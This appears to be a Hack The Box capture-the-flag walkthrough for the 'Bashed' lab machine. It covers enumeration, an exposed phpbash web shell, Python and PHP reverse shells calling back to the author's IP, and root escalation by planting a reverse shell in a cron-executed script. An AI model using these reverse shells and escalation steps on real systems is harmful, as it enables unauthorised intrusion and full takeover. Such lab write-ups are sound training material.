Hack The Box - Bashed server

Step 1: Getting user's flag:

As usual, we scan the system first…

nmap -sV -sT 10.10.10.68

- port 22 and 80 are opened

Because port 80 is opened, we can try navigate to http://10.10.10.68

Success - the page contains an information about phpbash. It contains a github link, where we can read about what phpbash is, but nothing that we could use for logging in. When you check the screenshots in the github, you can see that the phpbash has a php extension. Let's see if it is uploaded anywhere on the server. Or any other PHP file we could exploit:

gobuster -u 10.10.10.68 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

Except for config.php, which is useless for us, no other PHP file was found by gobuster. So we can manually start checking the directories that were found by gobuster (open them in the browser: http://10.10.10.68/images etc.)

/images <— contains only images
/uploads <— nothing
/php <— some sendmail file, useless for us
/css <— ordinary CSS files
/dev <— BINGO! … phpbash.php file is here
/js
config.php
/fonts

Just click on the phpbash.php file and a limited shell will open. We open a reverse shell with python. At first on Kali Linux open a listener:

root@kali: nc -l -v -n -p 1234

reverse shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.20",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Alternatively, if this does not work for your for some reason (check if opening & closing quotes are the same etc.). You can upload the reverse shell with Simple HTTP Server.

Open the listener
root@kali: nc -l -v -n -p 1234

copy the python script to Downloads:
cp /usr/lib/python2.7/SimpleHTTPServer.py ~/Downloads/

start it:
python SimpleHTTPServer.py 80
Serving HTTP on 0.0.0.0 port 80 ...

Then go on the phpbash console and copy the PHP reverse shell file to /var/www/html/uploads :
wget 'http://YOUR_IP/php-reverse-shell.php'.

And then run it in Browser:
http://10.10.10.68/uploads/php-reverse-shell.php <— make sure you have correct IP address and port in the file

and to get bash:
python -c 'import pty; pty.spawn("/bin/bash")'

Both methods were tested and are working!

Now, when we are in, we need to enumerate the system and find a flaw, we could use. We can use EnumLi.sh script (copy it to the server via the Simple HTTP Server).

In /home directory we can see that there is **arrexel** and **scriptmanager** users created on the server.

in arrexel's homedir you can find the User's flag: user.txt file. It is not encrypted, you can get the information from it easily. Again, not showing it here 🙂

Step 2: Getting root's flag:

We are still in arrexel's homedir and we can see, that he can run "sudo" (file .sudo_as_admin_successfull exists):

sudo -l --> list all available sudo commands. We can see that user scriptmanager can run all commands:

```
www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
```

So we can get scriptmanager's credentials & login. But before we do this, let's run the python script for proper "bash" and for a nice colours in terminal:

```
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
```

Now we can obtain scriptmanager's login:
```
sudo -u scriptmanager /bin/bash
```

So now we are "scriptmanager" user. Let's check his homedir properly. There is nothing in it. Let's try to check all the files owned by scriptmanager:

```
find / user scriptmanager -type f 2>/dev/null -exec ls -l {} \;
```

The very first file is a custom python script in a directory /scripts !
```
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4  2017 /scripts/test.py
```

Let's see what else is in the /scripts directory:

```
scriptmanager@bashed:/scripts$ ls -larth
total 16K
drwxr-xr-x 23 root root 4.0K Dec 4 2017 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py <— owned by scriptmanager
drwxrwxr-- 2 scriptmanager scriptmanager 4.0K Dec 4 2017 .
-rw-r--r-- 1 root root 12 Apr 5 09:34 test.txt <— owned by root!!!!
```

So we have 2 files - one is a python script (showed below), that takes a file, modify it and close it. And because the output file is owned by root, the execution of the script **is done as root user!**

So now let's check, what & how often is the script executed. To be able to do that, we need to monitor what processes are being executed repeatedly. There is a great monitoring changes tool called **PSPY** (download from here):
https://github.com/DominicBreuker/pspy

Upload it to the server (e.g. via the SimpleHTTPServer method described earlier).
Run it with the parameter : `./pspy64s -p "ps -ef"`

Wait a little while, then you will see what processes are being executed every minute. Pay attention on the python script:

```
2019/04/05 13:38:01 CMD: UID=0    PID=3508   | /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
```
Which means that if we modify the test.py , root's cronjob will be running it every minute!

Let's see what is in the script:

```
scriptmanager@bashed:/scripts$ cat test.py

f = open("test.txt", "w")
f.write("testing 123!")
f.close
```

The easiest way to exploit this flaw is to insert there a python reverse shell. But first we need to change the port. Previously we used port 1234, so let's use e.g. 5678 now:

```
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.conne
ct(("10.10.14.20",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
```

and insert it to the test.py file (delete the code that is currently there).

Run another listener on local Kali system:

```
root@kali:~/Downloads/scripts/php-reverse-shell-1.0# nc -l -n -v -p 5678
listening on [any] 5678 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.68] 51706
bash: cannot set terminal process group (1565): Inappropriate ioctl for device
bash: no job control in this shell
```

And we got another shell - this time root's

```
root@bashed:/scripts# id
id
uid=0(root) gid=0(root) groups=0(root)
root@bashed:/scripts#
```

Root's flag is in the homedir and it is "human readable"

Happy hunting!

pkaiser, April 2019